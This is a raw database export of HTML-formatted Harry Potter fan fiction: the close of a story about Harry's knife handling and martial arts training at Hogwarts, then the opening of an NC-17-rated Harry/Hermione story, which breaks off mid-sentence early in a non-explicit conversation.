knife to Harry&#8217;s face. Harry didn&#8217;t know what reaction he&#8217;d expected, but it certainly wasn&#8217;t the one he got.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">She looked suspicious.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">How did you make it do that?&#8221; she asked slowly, her eyes narrowing.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry stared in disbelief. She thought he&#8217;d used magic to try and trick her! He could see it in her eyes.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">He quickly got over his shock though.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">&lt; <i>It was probably my fault for trying to be<b> too</b> fancy, but still&#8230; does she really think I know enough magic already to do something like that without her noticing what I was doing?</i>&gt;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry sighed, he shouldn&#8217;t have let his frustration get the better of him like that.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Watch,&#8221; he said, taking the hilt of the knife once more. &#8220;I&#8217;ll do it slower so you can see what I&#8217;m doing.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">This time he spun the blade much slower, like Osakawa-sensei had done when he was teaching Harry.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">When Harry finished his little performance, the suspicion had left McGonagall&#8217;s eyes and she just looked a little amazed.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">Satisfied that she no longer suspected a trick Harry told her, &#8220;As you can see there is no magic involved, yet in order for a muggle to use a muggle weapon effectively they still need to have nearly <b>absolute</b> control of it, and if they have such control over it in order to hurt someone then that same control will allow them to keep it from harming anyone. The point of practicing such things is to teach the body to work on it&#8217;s own. I couldn&#8217;t do all this if I had to think about each movement. Instead my muscles remember how to move and so I don&#8217;t have to think about every little movement.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Well, I can&#8217;t imagine being able to do that myself, but I guess I can&#8217;t argue that you don&#8217;t know how to handle it without getting hurt.&#8221; She admitted with reluctance. &#8220;But what about the other Gryffindors who <b>don&#8217;t</b> know how to handle it? You can&#8217;t have it with you <b>all</b> the time and someone that doesn&#8217;t know how to use it might get a hold of it&#8230; where <b>do</b> you keep it anyway?&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Right here.&#8221; Harry said, pushing up his right sleeve. &#8220;See it fits in here.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry slid the knife back into its sheath as McGonagall watched curiously.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Isn&#8217;t it difficult to get out though?&#8221; she asked, &#8220;It looks like it&#8217;s held pretty tightly.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">It <b>is</b> held tightly, but it was made so that when you flex the right muscles, and hold your hand properly, it falls out into your hand.&#8221; He told her. &#8220;Like this.&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry demonstrated a few times, bringing the knife out and sheathing again rapidly.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">The only times I take it off is when I shower and when I&#8217;m cleaning the sheath. Since I still have the knife with me when I clean the sheath the only time someone else could get a hold of it would be when I&#8217;m in the shower.&#8221; He explained. &#8220;So there&#8217;s really very little chance at all of anyone else even finding out that I have it. If they wanted a knife for some reason then it would make much more sense for them to just take one from potions class or from the Great Hall.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">McGonagall frowned in thought for a while before finally sighing in defeat.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Very well, you may continue to carry your knife with you for now, but you are not permitted to let anyone know other than Ms. Granger and Mr. Weasley as they already aware of its existence. If I think you are abusing this privilege in any way then you will no longer be allowed to have it with you. Do you understand?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Yes, I do.&#8221; Harry answered with relief. &#8220;May I go now?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">McGonagall hesitated a moment.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Would you mind&#8230; could you spin it over your knuckles again?&#8221; she asked, not sounding at all like the stern professor Harry was used to.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">The request surprised him, but he obliged her and sent it across his knuckles a couple times before putting it back in its sheath, McGonagall then thanked him and told him he could go.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">As Harry pulled the door shut behind him he heard her murmur something.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Without even using <b>magic</b>!&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry wondered again to himself why so many magical people thought that magic had to be the answer to everything.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">&#191; &lt;&#8217;}}}&gt;&lt;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">The next few days of their holidays were put to the greatest use that the trio could, doing homework (for Hermione), playing chess (for Ron) and flying around the towers of the school on brooms (for Harry) though neither of the boys could convince Hermione to go further than six feet from the safety of solid ground.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry woke a bit later than usual the day after all the other students had returned from their holidays due to the fact that he&#8217;d been having so much fun just flying the day before that he&#8217;d gone on long after Ron and Hermione had landed and headed back in. Normally Harry got up at 3:00AM each day except for the days after he went to the library for his &#8216;extra work&#8217;, and went through his usual routine (he never skipped doing his meditation though, even the mornings after his library work). He usually only got five or six hours of sleep each night, but that was enough for him.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">He was simply too tired on the mornings after he did his late night studies with Lady Scrive to complete his exercises properly . But Osakawa-sensei had always been quite adamant that Harry was to do them properly, no matter how slowly he had to move, or not do them at all. If he let his body move in the wrong way in practice then he would be much more likely to make a mistake when fighting an opponent, either in a tournament or in real life.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Fortunately it was Saturday and really, he could perform his exercises at any time (he had always thought of them more like a dance). He was a bit surprised to find that Ron had, for once, gotten up before him. He wondered, with a smile, what Ron had thought when he saw Harry sleeping when he got up. Ron was always grumbling at breakfast about how Harry couldn&#8217;t be human. In Ron&#8217;s eyes there was simply no such time as 5:00AM or earlier.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry put on the robes (sometimes called a gi) that he used to practice in and headed to the Quidditch pitch where he normally trained after his morning jog. The first few times that Harry had gone for his run he hadn&#8217;t seen anyone else out running so he&#8217;d thought that everyone else was still getting settled in after their summer holidays. When he&#8217;d been allowed to go running at the Dursleys he&#8217;d always seen at least a few other people jogging in the mornings (none of the Dursleys though) and often in the evenings as well. As the school year progressed however, Harry found that the only other witch or wizard who got up for any kind of exercise was Oliver Wood, and he only got up to plan and practice Quidditch.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry just put it down to there being some other kind of exercise that only people who had grown up in the wizarding world knew about. After all, he&#8217;d yet to see any seriously obese witch or wizard, but he did wonder why there weren&#8217;t any muggle born students out running though.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">As Harry pondered this, he reached the outer doors of the school and passed through them. He soon realised that he would not be training on the pitch that day due to the large gathering of Slytherins who had come to watch their house team&#8217;s practice. Not that he had anything against the Slytherins in general, but far too many of the Slytherins seemed to have something against the rest of the world.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">As he stood in front of the giant doors several fourth year Hufflepuffs went past on their way to the greenhouses. Harry heard them giggle and saw them point at his clothes as they went. Fortunately Harry&#8217;s cheeks were already red from the cold and hid his blush.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">He was getting cold just standing outside without moving so he headed back inside to see if there might be an unused room big enough for him to work in.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Having nowhere else to go yet Harry started back to his common room trying to think if he knew of anyplace he could train or if there was anyone who did. As he walked he looked into any rooms he that he hadn&#8217;t been in before, but most of them seemed to either be broom closets or required a password that he didn&#8217;t have.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Harry?!&#8221; Someone called from behind him.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">Harry turned and saw Ron heading down the hallway, having apparently come from a late breakfast or, knowing his friend&#8217;s appetite, possibly a <i>second</i> breakfast. He was grinning when he came up to Harry, and seemed to be fighting back gales of laughter.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Harry, w-what are you doing those <i>pyjamas</i>?&#8221; he asked incredulously.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry frowned. &#8220;They&#8217;re not pyjamas, Ron. These are the clothes I train in.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Train in? How come I&#8217;ve never seen you wear them before?&#8221; Ron asked and scratched his head.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well, I expect that&#8217;s because you&#8217;ve never seen me training, have you?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">Still confused Ron asked, &#8220;Sure I have! You and Hermione are <i>always </i>training! Honestly, I don&#8217;t know why you two &#8211;&#8220;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Not that kind of training, Ron.&#8221; Harry interrupted.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Then what kind of training are we talking about here?&#8221; Ron asked scratching his head.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Remember I told you how I&#8217;ve been taking martial arts lessons?&#8221; Harry asked.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Oh right! From Osarwa, or something?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">From Osakawa-sensei. Well in order to be any good you need to practice as often as possible.&#8221; Harry informed him. &#8220;Also you should be in as good shape as you can, which is why I go running each day before I train.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Ron scratched his head.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">So why haven&#8217;t you been training before now?&#8221; he asked.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">I have,&#8221; Harry frowned, &#8220;you probably just didn&#8217;t realise it because I actually get up early to do it! Unlike some people who only get up just in time for a rushed breakfast and are almost always just in time for classes.&#8221; This last statement was followed with a small smirk.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">Hey!&#8221; Ron protested, taking a playful swipe at his friend. &#8220;Hermione gets up early and <b>she</b> hasn&#8217;t mentioned it!&#8221;</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well, why would she?&#8221; Harry shrugged. &#8220;It&#8217;s no big deal that I go running early in the morning.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Well, leaving the castle is no big deal, but &#8211; you run around for no reason? I&#8217;d say that&#8217;s pretty odd.&#8221; Ron said with a look that plainly said that Harry was quite the puzzle to him.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry sighed once again at the ignorance of the inhabitants of the magical world towards muggles.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I guess I&#8217;m just odd then, Ron. I&#8217;ll explain later, ok?&#8221; he said in exasperation, &#8220;Right now I&#8217;m trying to find a room that got some open space for me to workout in. You wouldn&#8217;t happen to have any ideas would you?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Nah, not a clue.&#8221; Ron answered. &#8220;The only rooms I know are the ones we have classes in and you can&#8217;t &#8211; do whatever in them. Maybe ask Hermione? And I&#8217;d bet anything that Fred and George would know a place if anyone would, though you might have to become their chizpurfle in return for any information.&#8221;</font></p>\n\n<p>\n\n</p>\n\n<p><font size="4">Harry smirked. Ron was probably right about the twins, but their pranks rarely ever ended up being painful as they usually tested them on each other before actually putting them to use.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">So where&#8217;s Hermione?&#8221; Harry asked, already suspecting the answer.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Ron&#8217;s roll of his eyes was answer enough for him. Hermione was in the library.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">Seeing that Harry understood, Ron didn&#8217;t bother answering.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I&#8217;m headed there now. I&#8217;m hoping she&#8217;ll help me out a bit with that new charm we&#8217;re supposed to practice.&#8221; Ron told him.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Okay, see you later, Ron. You&#8217;re probably right.&#8221; Harry answered, &#8220;If anyone knows a room for me to use, it&#8217;ll be your brothers.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry walked on in search of the twins now.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">&#191; &lt;&#8217;}}}&gt;&lt;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">The twins hadn&#8217;t understood why Harry had wanted to find the kind of room he&#8217;d described but they hadn&#8217;t really asked for much of an explanation anyway. Harry figured that they were just used to being so secretive themselves that they automatically assumed that everyone else was the same. So after being told what Harry was looking for they&#8217;d been obviously confused but hadn&#8217;t asked questions and Harry hadn&#8217;t offered answers.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="3"><font size="4">The place that Fred (or was it George?) had suggested was an old classroom near the top of a long unused tower. The twins had found it in their first year. Even then they had been quite the pranksters, they had enjoyed telling Harry as they led him to the room, but they hadn&#8217;t had much experience with hiding the preparations for their pranks. So when they happened across the room one on their way to a class (&#8220;You got lost didn&#8217;t you?&#8221;) they&#8217;d immediately made it their base of operations. Over the years though, the room had been of less use to them as their pranks evolved and they learned much better how to hide them. Also the room was to far out of the way and with no easy access it was just to much hassle to drag their pranks up and down the long staircase.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">It wasn&#8217;t an ideal place to train in, but there was plenty of light from the many windows that showed a view over the castle in every direction. Harry assumed that some of the windows were enchanted like the ceiling of the Great Hall because one of the windows should have looked into the room next door, which was filled with desks, chairs and very stale potions ingredients that the twins had forgotten, who knew how long ago.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">What Harry liked the most about the room was the quiet. The entire tower was far from anywhere that was frequented by either staff or students and Harry relished the silence that allowed him to focus on his meditation and training exercises more than he ever could before, even at the dojo.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">In fact Harry got so deeply into his exercise that he almost didn&#8217;t hear the door open to admit Hermione and her ever present bag of books. Having paused to look towards her while in the middle of a high kick, Harry didn&#8217;t realise just how funny he must look until Hermione unexpectedly broke out in unrestrained laughter.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Bringing both feet to the ground Harry turned to her fully and gave her a friendly glare.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I&#8217;m so glad that I&#8217;m able to provide such amusement for you, Hermione,&#8221; he said with mocking malice, &#8220;but would you care to tell me how you found this place? It&#8217;s a bit out of the way.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">To put it mildly!&#8221; Hermione answered, after containing her laughter. &#8220;It&#8217;s practically a hike just to get to this tower, much less up it! And Ron told me you were looking for a room your &#8216;marital arts&#8217; and were going to ask Fred and George, so when I saw them on my way to the common room I asked if you&#8217;d talked to them and they told me where you were. I didn&#8217;t expect it to be so far or I&#8217;d have dropped off my books before coming here.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Hermione looked for somewhere to put her books then settled for putting them on the floor in the corner when she saw there were no tables or desks.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Where&#8217;s Ron anyway?&#8221; Harry asked, &#8220;You didn&#8217;t turn him into a toilet seat did you?&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Hermione chuckled appreciatively at the reminder of the time she&#8217;d threatened to do just that during an argument with Ron. It had startled Ron and Harry to hear Hermione suggest something like that, even though they knew that they wouldn&#8217;t be able to do anything like that for quite some time.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">No, maybe next time. I left him in the library working on his spinning charm.&#8221; She told him. &#8220;You know he&#8217;s really very good at charms when he actually tries.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry nodded.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">So what brings you here?&#8221; Harry asked her.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Oh, nothing really.&#8221; She shrugged. &#8220;I just wanted some peace for a moment.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="3"><font size="4">But you said before that you asked the twins where <b>I</b> was, not where you could go to get some peace?&#8221; Harry countered.</font></font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">Yes, but everyone is usually pretty quiet when you&#8217;re around.&#8221; Hermione told him, then continued on before he could protest. &#8220;I know you don&#8217;t understand it or like it or anything, but it&#8217;s still true.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Harry sighed and acquiesced. There was no point in denying reality, but at least the students and staff at Hogwarts weren&#8217;t as bad as the people at the Leaky Cauldron had been, and they were starting to get used to treating him like everyone else now.</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">I won&#8217;t be disturbing you will I, Harry?&#8221; Hermione asked as she sat down and paused while pulling out her homework. &#8220;I could leave if you want.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p>&#8220;<font size="4">No, you won&#8217;t be disturbing me.&#8221; Harry smiled. &#8220;Besides, I should be able to focus on what I&#8217;m doing regardless of distractions.&#8221;</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">The two settled into their own little worlds as Hermione worked on complex potions formulae and Harry worked on complex martial arts.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">@@@@@@@@@@@@@@@@@@@@@@@@@</font></p>\n\n<p><br>\n\n</p>\n\n<p>AN &#8211; Didn&#8217;t get to make the major changes that I wanted to, just small ones. Sorry.</p>\n\n<p><br>\n\n</p>\n\n<p><font size="4">Anywho, I&#8217;m working on the next chapter of this story, as well as the fourth chapter of &#8220;Final Battle&#8221;. Uh... yeah, that story was origionally just going to be the two chapters... I think it may end up going on much longer than that.</font></p>\n\n<p><br>\n\n</p>\n\n<p><font size="4"><b>H/H FOREVER!</b></font></p>\n\n<p><font size="4">Bye!</font></p>\n\n<p><font size="4">Shades of Grey</font></p>\n\n<p><br>\n\n</p>\n\n'),
	(18, 1, '\n\n\n\n<title>Harry Potter and the Infernal Plan Part I</title>\n\n\n\n<p>Harry Potter and the Infernal Plan Part I<br> by Jori<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> REVISED July 2003<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all FIVE books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic.<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> For the first time since he had met her, Harry thought that Hermione actually looked sad to be returning to Hogwarts. She was always usually so happy to get back to her studies but something about her had changed. She looked as gloomy as Harry felt. After everything that had happened last year, he had found it peculiar that she didn\'t want to come stay at the Weasley\'s the last few weeks of their summer holiday. Harry missed her more than he imagined he ever would and often found himself wishing he could tell her about what he had learned at the end of the last school year. Now she looked too distracted to care.<br>\n\n<br> He also found it peculiar when she was so late arriving to Platform 9 3/4 for their trip back to school. Looking at the expression on her face as she sat across from him in their compartment, he knew something was wrong.<br>\n\n<br> Hermione sighed and rolled her eyes as Ron shoved more candy into his mouth and went back to staring out the window as the countryside flew by them. At least his two friends weren\'t bickering constantly anymore. Harry had tried asking her questions about her summer but so far, she wasn\'t sharing much with him.<br>\n\n<br> &quot;I thought we would at least have met up when you came to Diagon Alley to buy your supplies. When did you get your supplies, anyway?&quot; Harry asked and Hermione just shrugged without answering. Now he was positive that something was bothering her. Hermione loved reading her new texts before the year started and he was certain she would want to discuss them at length. She hardly even mentioned her scores from her O.W.L. exams nor had she asked Harry about his. <br>\n\n<br> She could have at least asked them how their holiday was but she didn\'t even do that. Maybe she assumed that Harry\'s summer holiday with the Dursley\'s was like all the others until the Weasley\'s rescued him. They all seemed to still be avoiding one particular topic and that was fine with him. He still wasn\'t sure he could talk about it without his voice cracking. <br>\n\n<br> She just sat and sighed some more. He didn\'t understand girls and it didn\'t matter if he was dating them or not. At least with Hermione, he could usually carry on a conversation without sounding like too big of a git but he wasn\'t sure what to say to her.<br>\n\n<br> &quot;So, Hermione . . .&quot; he started only to be interrupted by Ron\'s younger sister, Ginny storming into the compartment.<br>\n\n<br> &quot;There you are!&quot; she said, sitting down next to Hermione and not even giving Ron or Harry a second glance. &quot;I was upset when you decided not to come to The Burrow. You have to tell me all about him.&quot;<br>\n\n<br> &quot;Him?&quot; Harry and Ron said at the same time, only Ron with a mouthful of chocolate and a touch more jealousy.<br>\n\n<br> Before Hermione could respond to either of them, Ginny started in with a thousand questions. Somewhere in between their giggling and whispers, Harry gleaned that the boy\'s name was Andrew Rowntree but his friends called him Drew and he had moved to the street Hermione lived on sometime last spring. Something about that finally clicked in Ron\'s brain after the two girls had carried on for about five minutes.<br>\n\n<br> &quot;A Muggle boy? You\'re seeing a Muggle?&quot; he asked without candy in his mouth this time. Harry couldn\'t help but notice that even though the chocolate was gone, the jealousy was still there.<br>\n\n<br> &quot;Of course. What else would be living on my street?&quot; Hermione answered, giving Ron a cross look before carrying on with Ginny.<br>\n\n<br> Harry just stared at Hermione, watching her eyes light up whenever she said the name Drew. It wasn\'t the first time he had seen his friend talk about boys. There was Viktor Krum a few years ago. Then there was the one kiss they had exchanged. Harry was certain the reasons behind it had more to do with the fact that they had just survived something unspeakable than that she had any feelings for him beyond friendship. It happened quickly, late at night after the feast he didn\'t bother to go to and was never mentioned again. At that time, he had too many other things on his mind to even consider that it meant anything. Besides, if it had meant something, surely someone would have said something by now. And there wouldn\'t be Drew.<br>\n\n<br> This boyfriend wouldn\'t have to worry about her study habits or the secret kiss she exchanged with her best friend once when no one was looking. He would just see her during holidays and there was a good chance . . .<br>\n\n<br> &quot;He doesn\'t know what you are, does he? He doesn\'t know that you\'re a witch,&quot; Harry said, interrupting Ginny.<br>\n\n<br> &quot;Of course not. I mean, not yet anyway,&quot; Hermione answered.<br>\n\n<br> &quot;So, how do you plan on staying in contact with him? Surely you can\'t send him a letter by owl,&quot; Ron said, sounding a little too hopeful that would put an end to it. Harry had hoped that Ron was over it by now. His feelings for Hermione were never returned, leaving Harry to worry that one day it would pull his best friends apart. So far, they had much more serious forces trying to pull them apart besides an adolescent crush.<br>\n\n<br> &quot;I have it all arranged with my parents. I\'ll have the mail delivered to them and they can forward it on to Drew,&quot; she said, making it sound like everyone should have already known this. &quot;And then I told him to drop off any letters at my house and my parents would take them to the post. That way he wouldn\'t have to spend any extra money on them.&quot;<br>\n\n<br> &quot;But won\'t he be expecting you to ring him up on one of those tele-things?&quot; Ron asked, still trying to find something wrong with this whole thing.<br>\n\n<br> &quot;I told him we had no telephone privileges at my school. Besides, I\'ll see him again at Christmas. It\'s not that far off,&quot; she said, turning her attention back towards Ginny.<br>\n\n<br> It was only then that Harry felt a slight twinge of jealousy. He was sure it wasn\'t so much that Hermione had met someone that was bothering him as it was she had someone to go home to over Christmas and now he really had nowhere to go. The way his life was going, chances are he never would.<br>\n\n<br> Hermione said something to Ginny which caused both of them to giggle like schoolgirls some more. It was very out of character for Hermione and Ron just stared at her with his mouth hanging open, looking quite stunned. It was then that Harry realized that this was going to be a long year.<br>\n\n<br> *************<br>\n\n<br> Most everything between the three friends had nearly returned to normal once classes started. Hermione had her mind on her studies instead of Drew and that made Ron happy. Harry (having had his lifetime Quidditch ban lifted) was Gryffindor\'s Quidditch captain and barely had time to think about Hermione once the season began. When he did get a chance to consider it, he was just thankful that Ron stopped staring at her with this sad look on his face. And he was most grateful that Hermione and Ginny stopped giggling about the whole thing.<br>\n\n<br> Harry was so involved with his studies and Quidditch that he didn\'t even think about the holidays until the weather reminded him that they were coming closer to the end of the term. Ron was staying with him over the holidays but he could tell by the number of letters that Hermione was sending and receiving that she had better plans than staying with her friends. She would read her letters from Drew and smile before tucking them into whatever book she was carrying that day.<br>\n\n<br> Ron didn\'t even make fun of this habit anymore nor did he comment on the number of owls that were coming to her. Hermione would get all dreamy over some letter or bit of artwork that Drew would send but Ron did his best to ignore the whole situation. Harry just wondered what it would be like on the receiving end of a letter like that. Sixteen years and he still didn\'t really know. The whole thing with Cho fell apart before it could get that far. <br>\n\n<br> Perhaps if he could spend all summer somewhere else besides with his aunt and uncle, he might find out but that was out of the question. Then again, he wasn\'t so sure he wanted to date a Muggle. Hermione didn\'t mind growing up with them because they were her parents and her parents loved her very much. Harry hated every minute of his life with them and wasn\'t sure what other Muggles would think of him.<br>\n\n<br> If Harry couldn\'t find anyone that way, he would have to look around here with more seriousness. He gazed around the great hall and realized he didn\'t feel like getting to know anyone like that. Everyone knew too much about him but didn\'t really know him. It was if they were all on the outside looking in upon a life they could never understand. <br>\n\n<br> Looking at Hermione, he realized that she was one of the few girls he knew who had always been on the inside. Too bad that she was just his friend and wouldn\'t want to be anything more.<br>\n\n<br> &quot;Harry, can we speak about something after potions?&quot; she asked, interrupting his thoughts. Before he got a chance to answer, she focused on Ron. &quot;Alone, that is.&quot;<br>\n\n<br> &quot;Er . . . of course . . . where? The library?&quot; he asked, catching the most pained look from Ron.<br>\n\n<br> &quot;More alone than that,&quot; she said and they arranged to meet out by the lake despite the cold. Harry watched as she ran off, probably to write another letter to Drew.<br>\n\n<br> &quot;That girl has become more mental since she got a boyfriend,&quot; Ron said, his eyes following her out of the hall.<br>\n\n<br> &quot;Come on now, Ron. You know you\'re only saying that because she\'s got a boyfriend who isn\'t you,&quot; Harry said and although Ron denied it for the next five minutes straight, he knew that was the truth.<br>\n\n<br> ************<br>\n\n<br> Shivering, Harry waited by the lake for Hermione. He checked his watch and realized he hadn\'t been waiting that long, it just felt like it. He couldn\'t even imagine what she wanted from him that couldn\'t be discussed inside, perhaps in the common room by the fire.<br>\n\n<br> Finally, he saw her walking towards him, her mouth moving as if she was rehearsing what she was going to say. She moved her hands in an imploring manner and he couldn\'t imagine what Hermione was up to.<br>\n\n<br> He knew she had seen him watching her when she put her gloved hands down and her mouth stopped moving. Instead, she stopped walking for a moment, collecting herself before she approached him.<br>\n\n<br> &quot;Hello, Harry,&quot; she said, looking around although she had to know by now they were the only two out in the cold.<br>\n\n<br> &quot;Hello,&quot; he said and then they both stood there, breath puffing white before them. &quot;What\'s this about then?&quot;<br>\n\n<br> &quot;It\'s about Drew,&quot; Hermione said and Harry just nodded. He should have figured as much. All Hermione discussed anymore was Drew or Arithmancy or what career she was considering that day.<br>\n\n<br> &quot;We all know about Drew. Why couldn\'t we discuss him in the library?&quot; Harry asked, getting irritated at how cold his feet were.<br>\n\n<br> &quot;Because I have to ask you a favor,&quot; she said, her eyes shifting away from him. &quot;I want to give Drew something for Christmas and . . . and I need some help.&quot;<br>\n\n<br> &quot;You need help picking out a Muggle gift? I can tell you what Dudley likes to receive . . . pretty much anything but it\'s usually all broken by the time I get back,&quot; Harry said and Hermione bit her bottom lip. That obviously wasn\'t it.<br>\n\n<br> &quot;No, I know what I want to give him for Christmas,&quot; Hermione said and Harry, puzzled, stood there shaking his head.<br>\n\n<br> &quot;Then what did you need me for?&quot; he asked, realizing that if she didn\'t get to the point soon, he would no longer be able to feel the tip of his nose.<br>\n\n<br> &quot;Because . . . Harry, I want to . . . oh, blast! I want to sleep with him,&quot; she blurted out and Harry took a step back, feeling his jaw drop down at least halfway to the ground at her declaration. Why was she telling him this? Did he want to know this about his best friend? He supposed that if she were Ron, he wouldn\'t mind hearing this but she wasn\'t Ron. She was a girl. She was not just any girl. She was Hermione.<br>\n\n<br> Once he could find his tongue again, he asked, &quot;What do you need me for? I think that\'s something you can do without me. I\'m -- I\'m not even sure why you\'re telling me this.&quot;<br>\n\n<br> &quot;I\'m telling you this because I do need your help. I\'ve been reading up on it and --&quot;<br>\n\n<br> &quot;You\'ve been reading up on it? What have you been reading?&quot; Harry asked, not finding it too hard to imagine Hermione searching through the library for books on sex and coming across \'The History of Shagging: A Young Wizard\'s Guide\' or something very much like it. If such a book did exist, he was sure it wouldn\'t stay in the library for long, especially if it came with wizard pictures. Maybe Madam Pince has a special restricted area for them that Hermione managed to sneak into.<br>\n\n<br> &quot;It\'s a Muggle book. A novel, actually. Something my cousin had that I borrowed,&quot; Hermione said. Harry was sure she didn\'t exactly borrow it but that was the least of his concerns right now.<br>\n\n<br> &quot;Hermione, I still don\'t . . .&quot; he started to say but she interrupted him.<br>\n\n<br> &quot;From what I understand, the first time for the woman isn\'t always pleasant,&quot; she said and now his eyes grew wide. When one lived in the Dursley household, one didn\'t learn that much about sex. One never asked questions about it, either. He was certain they told him nothing in hopes that it would prevent him from going out and reproducing more of his \'type.\' Everything he did know came from television (when Dudley would 